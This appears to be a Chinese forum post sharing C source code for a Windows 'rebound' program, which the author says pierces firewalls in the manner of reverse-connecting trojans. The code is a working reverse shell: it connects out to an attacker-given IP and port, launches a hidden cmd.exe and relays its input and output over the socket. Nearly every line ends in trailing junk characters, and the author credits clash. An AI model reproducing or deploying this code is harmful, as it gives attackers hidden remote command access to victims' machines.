这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 dsj}GgG?Z
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/* ============================== Lis>Qr
Rebound port in Windows NT GNEPb?+T
By wind,2006/7 0 q1x+
===============================*/ co1aG,>"q
#include rZcSG(d`53
#include tbiM>qxB
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#pragma comment(lib,"wsock32.lib") }S3 oX$
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void OutputShell(); RgL>0s
SOCKET sClient; +
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &:IcwD&
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void main(int argc,char **argv) 'TuaP`]<
{ eV/oY1B]<
WSADATA stWsaData; Dte5g),R
int nRet; HyOrAv
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SOCKADDR_IN stSaiClient,stSaiServer; UqyW8TCf?
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if(argc != 3) $COjC!M
{ \v5;t9uBZ
printf("Useage:\n\rRebound DestIP DestPort\n"); c#"t.j<E}
return; V=% ;5/
} >KvK'Mus/
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WSAStartup(MAKEWORD(2,2),&stWsaData); Ox&G
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'L-DMNxBr
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stSaiClient.sin_family = AF_INET; f,Dic%$q
stSaiClient.sin_port = htons(0); X(X[v]
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,Kl?-W@
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `]XI Q\ *
{ Rz|@BxB>n
printf("Bind Socket Failed!\n"); g#^MO]pY
return; !khEep}
} 6h,!;`8O
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stSaiServer.sin_family = AF_INET; 5Gy#$'kdf
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5B4/2q=
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); DyiJ4m}kh
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) la_c:#ho
{ C !Srv7
printf("Connect Error!"); \3^ue0
return; 1ONkmVtL
} gCC7L(1
OutputShell(); t(-,mw
} htR.p7&Tn
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void OutputShell() $*iovam>^]
{ A$5M.
char szBuff[1024]; @`:X,]{
SECURITY_ATTRIBUTES stSecurityAttributes; SeDk/}/~e
OSVERSIONINFO stOsversionInfo; kVs YB
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #0[^jJ3J
STARTUPINFO stStartupInfo; E'DHO2
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char *szShell; |?2fq&2
PROCESS_INFORMATION stProcessInformation; 7g(Z@
unsigned long lBytesRead; /B~[,ES@1
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ]kTxVe
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); bNVeL$'
stSecurityAttributes.lpSecurityDescriptor = 0; 9yC22C:
stSecurityAttributes.bInheritHandle = TRUE; `>)Ge](oN
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); qE8aX*A1/
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); II}M|qHaK
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @|DQZt
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mQ"uG?NE
stStartupInfo.wShowWindow = SW_HIDE; ud$-A
stStartupInfo.hStdInput = hReadPipe; ufL<L;Z\;
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; *??lwvJp
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GetVersionEx(&stOsversionInfo); % (y{Sca
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switch(stOsversionInfo.dwPlatformId) ()?83Xj[c
{ 5MAfuHq^
case 1: =oq8SL?bJ*
szShell = "command.com"; =#S.t:HQ*
break; "U-jZ5o"
default: 3>aEP5
szShell = "cmd.exe"; bPU
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break;
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} lFyDH{!
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);
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send(sClient,szMsg,77,0); ]2wxqglh)
while(1) #Or;"}P>fB
{ SscB&{f
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); VE|l;aXi
if(lBytesRead) W-n4wIj"
{ T"_'sSI>tF
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7t:RQ`$:
send(sClient,szBuff,lBytesRead,0); 6`e7|ilh6
} w31Ox1>s
else rTIu'
{ ^Fco'nlM
lBytesRead=recv(sClient,szBuff,1024,0); d}[cX9U/
if(lBytesRead<=0) break; -SrZ^
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); a4__1N^Qj
} S=(O6+U
} (?na|yd
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return; &Vz$0{d5
}